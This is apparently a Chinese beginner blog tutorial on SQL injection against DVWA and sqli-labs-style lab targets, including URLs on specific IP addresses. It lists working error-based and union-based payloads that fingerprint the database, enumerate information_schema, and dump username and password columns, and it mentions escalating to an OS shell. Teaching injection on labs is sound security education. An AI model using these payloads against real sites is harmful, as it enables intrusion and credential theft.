注入流程教程

**

Sql注入流程

**

1.判断是否有sql注入漏洞
2.判断操作系统,数据库和web应用的类型
3.获取数据库信息,包括管理员信息及托库
4.加密信息破解,sqlmap自动化破解
5.权限提升,获取Sql-shell Os-shell,登录应用后台。

基于错误的注入

错误注入的思路是通过构造特殊的sql语句,根据得到的错误的信息,确认sql注入点
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息
通过输入单引号,触发数据库异常,通过异常日志判断数据库类型。

Mysql>select first_name,last_name from dvwa.users.where user_id=' '

sql注入语句解析:’ or 1=1 – ’

mysql>select first_name,last_name from dvwa.users.where user_id='     ' or 1=1 -- '     '

注释:
第一个 ’ 用于闭合前面的条件
or 1=1 为真的条件
– 将注释后面的所有语句
这种做法只能在当前网页上进行使用,而且查看的只是当前网页数据库相对所有的值。

基于union的注入

Union语句用于联合前面的select查询语句,合并查询更多信息;
一般通过错误和布尔注入确定注入点之后,便通过union语句获取有效信息。

' union select 1-- '
' union select 1,2-- '
' union select 1,2,3-- '
' union select 1,2,3,4-- '

我们构建的语句是在Url后面的id=后面

Select first_name,last_name from dvwa.user_id=' ' union select 1-- ' '
Select first_name,last_name from dvwa.user_id=' ' union select 1,2-- ' '

获取当前数据库的及用户信息

'union select version(),database() --  '
'union select user(),database() --'
mysql> select first_name,last_name from dvwa.users where user_id=''union select version(),database()--'';
+------------------------+-----------+
| first_name             | last_name |
+------------------------+-----------+
| 5.1.41-3ubuntu12.6-log | NULL      |
+------------------------+-----------+
1 row in set (0.00 sec)
mysql> select first_name,last_name from dvwa.users where user_id=''union select user(),database()--'';
+----------------+-----------+
| first_name     | last_name |
+----------------+-----------+
| root@localhost | NULL      |
+----------------+-----------+
1 row in set (0.00 sec)

详解
version() 获得数据库版本信息
database() 获得当前数据库名
user() 获得当前用户名

必须注意当我们猜出字段的长度之后union语句前有几个字段union后面就要有几个字段。

select first_name,last_name from dvwa.users where user_id='union select table_schema,1 from information_schema.tables -- '

查询所有的库名

select first_name,last_name from dvwa.users where user_id='union select table_name,1 from information_schema.tables -- '

查所有的表名

select first_name,last_name from dvwa.users where user_id='union select table_schema,1 from information_schema.tables -- '

表名库名一起查询

select first_name,last_name from dvwa.users where user_id=''union select 1,column_name from information_schema.columns where table_name='users' -- ''

查询user表中的列名

'union select NULL, user from users -- '
'union select NULL,password from users --'
'union select user,password from users --'
'union select password, concat(frst_name,' ',last_name,' ',user) from users--'

手工注入

在页面寻找可以传参的地方,点进公告,看到?id=1,可以传参

219.153.49.228:41249/new_list.php?id=1'报错回显,存在注入
219.153.49.228:48930/new_list.php?id=1 and 1=1#正常显示
219.153.49.228:48930/new_list.php?id=1 and 1=2#异常回显
219.153.49.228:48930/new_list.php?id=1 order by 5#错误回显
219.153.49.228:48930/new_list.php?id=1%20order%20by%204#回显正常
219.153.49.228:48930/new_list.php?id=-1%20union%20select%201,2,3,4--+显示2,3回显
219.153.49.228:48930/new_list.php?id=-1 union select 1,database(),3,4 # 
219.153.49.228:48930/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() # 
219.153.49.228:48930/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = "StormGroup_member" #
219.153.49.228:48930/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member #

爆数据库库名:http://180.21.88.239/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata #
爆数据表名:http://180.21.88.239/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'security' #
爆字段值(列值):http://180.21.88.239/Less-2/?id=-1 union select 1,2,group_concat(username,password) from  users #
获取数据:http://180.21.88.239/Less-2/?id=-1 union select 1,2,group_concat(username,password) from  users #

sql联合注入示例

		确认漏洞是否存在
			?id=1'
			?id=1' and 1=1--+
			?id=1' and 1=2--+
		确认字段数:
			?id=1' order by 5--+
			?id=1' order by 3--+
		确定回显为:
			?id=-1' union select 1,2,3 --+ 
		获取当前数据库:
			?id=-1' union select 1,2,database()--+
		获取表:
			?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
		获取列:
			?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
		获取数据:
			?id=-1' union select 1,2,group_concat(username,password) from users--+
		补充:
			获取所有数据库:
			?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

新手教程,大佬不喜勿喷

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

InkTM

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值